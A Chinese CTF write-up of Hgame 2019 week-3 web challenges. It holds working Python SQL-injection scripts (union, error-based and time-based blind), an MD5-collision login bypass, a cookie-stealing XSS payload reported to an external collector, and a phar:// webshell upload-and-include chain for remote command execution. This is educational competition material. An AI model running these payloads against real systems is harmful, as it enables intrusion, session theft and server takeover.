前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Hgame_week3_web

Hgame_week3_web

作者头像
安恒网络空间安全讲武堂
发布2019-03-08 16:49:38
1.1K0
发布2019-03-08 16:49:38
举报

sqli-1

  • Url: http://118.89.111.179:3000/

一个简单的md5验证。

提交正确的code参数后得到提示 sql error。

同时提交一个id参数得到回显。

写一个交互的脚本方便测试

代码语言:javascript
复制
# -*- coding:utf-8 -*-
# -*- author:altman -*-

import requests
import hashlib
pay="'or 1=1#"
url="http://118.89.111.179:3000/"
cookie={
    'PHPSESSID':'dtguasqnchsgj6fnesd2c63v8n'
}
def getcode():
    r=requests.get(url=url,cookies=cookie)
    ans=''
    code=r.content[35:39]
    code=str(code)
    for i in range(0, 9999999):
        if hashlib.md5(str(i)).hexdigest()[0:4] == code:
            ans=str(i)
            break
    return ans

def sql(pay):
    code=getcode()
    url1=url+"?code="+code+"&id="+pay
    r = requests.get(url=url1, cookies=cookie)
    print r.content

a="-1 union select (select column_name from information_schema.columns where table_schema='hgame' and table_name='f1l1l1l1g' limit 0,1)%23"
b="-1 union select f14444444g from f1l1l1l1g%23"
sql(b)

最基础的带回显的注入。

sqli-2

  • url: http://118.89.111.179:3001/?id=1

上一题的盲注版本,由于只会告诉你sql语句是否执行,所以bool盲注显然不行。

可以使用时间盲注,然而时间盲注太浪费时间,我选择报错盲注。

Payload : 1andif((1=2),exp(999999999),1)#

当if成立时,会执行exp(999999999),造成报错,显示sql error。

当if不成立时,则显示sql已执行。

同样脚本破之。

代码语言:javascript
复制
# -*- coding:utf-8 -*-
# -*- author:altman -*-
import requests
import hashlib
import string
url="http://118.89.111.179:3001/"
cookie={
    'PHPSESSID':'dtguasqnchsgj6fnesd2c63v8n'
}
def getcode():
    r=requests.get(url=url,cookies=cookie)
    ans=''
    code=r.content[79:83]
    code=str(code)
    for i in range(0, 9999999):
        if hashlib.md5(str(i)).hexdigest()[0:4] == code:
            ans=str(i)
            break
    return ans

def sql(pay):
    code=getcode()
    url1=url+"?code="+code+"&id="+pay
    r = requests.get(url=url1, cookies=cookie)
    return r.content

a="1 and if((1=2),exp(999999999),1)#"
flag=''
for j in range(0,999):
    for i in string.letters+'0123456789'+'_{}':
        a = "1 and if((ascii(substr((select fL4444Ag from F11111114G limit 0,1),%d,1))=%d),exp(999999999),1)#" %(j,ord(i))
        if "error" in sql(a):
            flag+=i
            print flag
            break


#hgame
#F11111114G
#fL4444Ag
#hgame{sqli_1s_s0_s0_s0_s0_interesting}

神器的md5

简单探测后发现源码备份 .login.php.swp

vim -r 恢复后得到源码,这里贴上php的部分。

代码语言:javascript
复制
<?php
session_start();
error_reporting(0);


    if (@$_POST['username'] and @$_POST['password'] and @$_POST['code'])
    {
Press EN$username = (string)$_POST['username'];
        $password = (string)$_POST['password'];
        $code     = (string)$_POST['code'];

        if (($username == $password ) or ($username == $code)  or ($password == $code)) {
            echo "Your input can't be the same";
        }
        else if ((md5($username) === md5($password)) and (md5($password) === md5($code))){
            echo "Good";

            header('Location: admin.php');
            exit();
        } else {
            echo "<pre> Invalid password</pre>";
        }
    }

?>

审计后发现由于对参数进行了强转string,不能用数组什么的绕过。

需要强行md5碰撞。

找到了这个项目 https://github.com/thereal1024/python-md5-collision

可以生成许多个md5相同的文件。

首先需要安装boost环境 brew install boost 然后 python3 gen_coll_test.py(mac下)

生成一堆文件outtestxxx.txt。这些文件的md5值都相同。

写一个脚本POST数据。

代码语言:javascript
复制
# -*- coding:utf-8 -*-
# -*- author:altman -*-

import requests
url="http://118.25.89.91:8080/question/login.php"

username=open('/Users/a1tm4nz/web/python-md5-collision/out_test_000.txt','r').read()
password=open('/Users/a1tm4nz/web/python-md5-collision/out_test_001.txt','r').read()
code=open('/Users/a1tm4nz/web/python-md5-collision/out_test_002.txt','r').read()

data={
    'username':username,
    'password':password,
    'code':code
}

r=requests.post(url=url,data=data)
print r.content
print r.cookies

此时已经成功登录了,之后用登陆后的cookie去访问admin.php就进入下一层。

给了一个shell,我们直接cat admin.php

代码语言:javascript
复制
<?php
session_start();
error_reporting(0);
?>
<head>
<!-- Matomo -->
<script type="text/javascript">
  var _paq = window._paq || [];
  /* tracker methods like "setCustomDimension" should be called before "trackPageView" */
  _paq.push(['trackPageView']);
  _paq.push(['enableLinkTracking']);
  (function() {
    var u="//118.25.89.91/piwik/";
    _paq.push(['setTrackerUrl', u+'matomo.php']);
    _paq.push(['setSiteId', '1']);
    var d=document, g=d.createElement('script'), s=d.getElementsByTagName('script')[0];
    g.type='text/javascript'; g.async=true; g.defer=true; g.src=u+'matomo.js'; s.parentNode.insertBefore(g,s);
  })();
</script>
<!-- End Matomo Code -->
</head>

<?php

if ($_SESSION["secret"] === 'hgame2019')
{

?>   
    <form action="" method="post">
    Private Terminal   <input type="text" name="command"><input type="submit" name="submit">
    </form>
    <?php
    if($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['submit'])){
        $cmd = (string)$_POST['command'];
        echo "<p>The Command is : $cmd </p>";
        echo "</br>";
    $cmd = str_replace("flag",'none',$cmd);
        echo "<p>Result is :";system($cmd); "</p>";
    }
}
else {
    echo "<script>alert('Login First')</script>";
    header('Location: login.php');
    exit();
}

?>

有一个简单的替换操作 ,将'flag'替换为'none'。

直接绕过检测读取flag

cat/'fla''g'

babyxss

基础的xss打cookies。

测试后发现后端采取关键字替换为空的waf策略,我们可以采取双写来绕过。

payload <scriptsrc=[url]></scr</script>ipt>

懒得去vps接请求了,使用了xsspt(www.xsspt.com)来获取cookie。

提交后接收到了flag。

基础渗透

登录后简单测试发现了文件包含

http://111.231.140.29:10080/index.php?action=php://filter/read=convert.base64-encode/resource=login

拿下所有源码审计。

在functions.php中看到了所有关键函数。

找到了一个文件上传功能,此时想到上传文件getshell。

简单审计发现由于上传后的文件是由一个rand_filename函数进行命名的。

代码语言:javascript
复制
function rand_filename()
{
    $tmp = `cat /dev/urandom | head -n 10 | md5sum | head -c 15`;
    $sql_query = "select `avatar` from `users` where `avatar`=$tmp";
    $res = sql_query($sql_query);
    if ($res->num_rows) {
        return rand_filename();
    } else {
        return $tmp;
    }
}

我们无法预测到文件名。

需要通过注入找到avatar表中的文件名。所有参数传递时都被加上了addslashes。但是在删除功能处存在一个数字型注入,不需要使用引号闭合,所以addslashes没有起到作用。

代码语言:javascript
复制
function delete_message($message_id)
{
    $user_id = $_SESSION['user_id'];
    if ($_POST['token'] === $_SESSION['token']) {
        if ($_SESSION['groups'] == 0) {
            $sql_query = "delete from `messages` where `message_id`=$message_id and `user_id`=$user_id";
        } elseif ($_SESSION['groups'] == 1) {
            $sql_query = "delete from `messages` where `message_id`=$message_id";
        }
        sql_query($sql_query);

    }
}

在messge_id处进行注入。

我们先随意上传一张图片,让他生成一个文件名。

通过python脚本,进行注入得到文件名。

Ps:注入时需要有留言存在,所以编写脚本时每次注入前先进行留言。

token会失效,所以每次注入前获取一次最新的token。

代码语言:javascript
复制
# -*- coding:utf-8 -*-
import requests
import re
url = 'http://111.231.140.29:10080/index.php?action=delete'
url1 = 'http://111.231.140.29:10080/messages_api.php?action=delete'
url2 = 'http://111.231.140.29:10080/messages_api.php?action=add'
cook = {
    'PHPSESSID':'dutuigp1v8psgqs84osftj979d',
    'user':'altman77',
    'groups':'0'
}
data = {
    'message_id':'100 or if((select avatar from users where username like 0x25 limit 1) like 0x25,sleep(5),1)-- 1',
    'token':'123'
}
data1 = {
    'new_message':'just a test!!!',
    'token':'123'
}
head = {
    'Origin':'http://111.231.140.29:10080',
    'X-Requested-With':'XMLHttpRequest',
    'Referer':'http://111.231.140.29:10080/index.php?action=message'
}
flag = ''
for x in range(1,100):
    print x
    for y in (33,127):
        f = requests.get(url,cookies=cook,headers=head)
        token = re.findall("""value='(.*?)' id='token'>""",f.content)[0]
        data1['token'] = token
        g = requests.post(url2,data1,cookies=cook,headers=head)
        f = requests.get(url,cookies=cook,headers=head)
        token = re.findall("""value='(.*?)' id='token'>""",f.content)[0]
        data['token'] = token
        data['message_id'] = '1800 or if(ascii(substr((select avatar from users where username like 0x616c746d616e3737),%s,1))=%s,sleep(5),1)-- 1'%(str(x),y)
        try:
            g = requests.post(url1,data,cookies=cook,headers=head,timeout=3)
        except:
            flag += chr(y)
            print flag
            break

顺利拿到我这个账号随机生成的文件名672bf75b776852d。

由于文件包含处强制拼接了php后缀

代码语言:javascript
复制
$page = array_key_exists('action', $_GET) ? $_GET['action'] : 'message';
require $page .'.php';
include_once("template/footer.php");
?>

无法直接包含文件getshell。

这里想到利用phar协议。

将一句话木马文件index.php压缩成一个zip,抓包修改type为 image/png将zip文件上传。然后利用phar协议包含文件getshell。

?action=phar://./img/avatar/672bf75b776852d.png/index

拿到shell后经过一番搜寻后找到flag

代码语言:javascript
复制
http://111.231.140.29:10080/index.php?action=phar://./img/avatar/672bf75b776852d.png/1&a=/usr/lib/flag/get_flag%20/usr/lib/flag/flag
本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2019-02-16,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 恒星EDU 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • sqli-1
  • sqli-2
  • 神器的md5
  • babyxss
  • 基础渗透
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档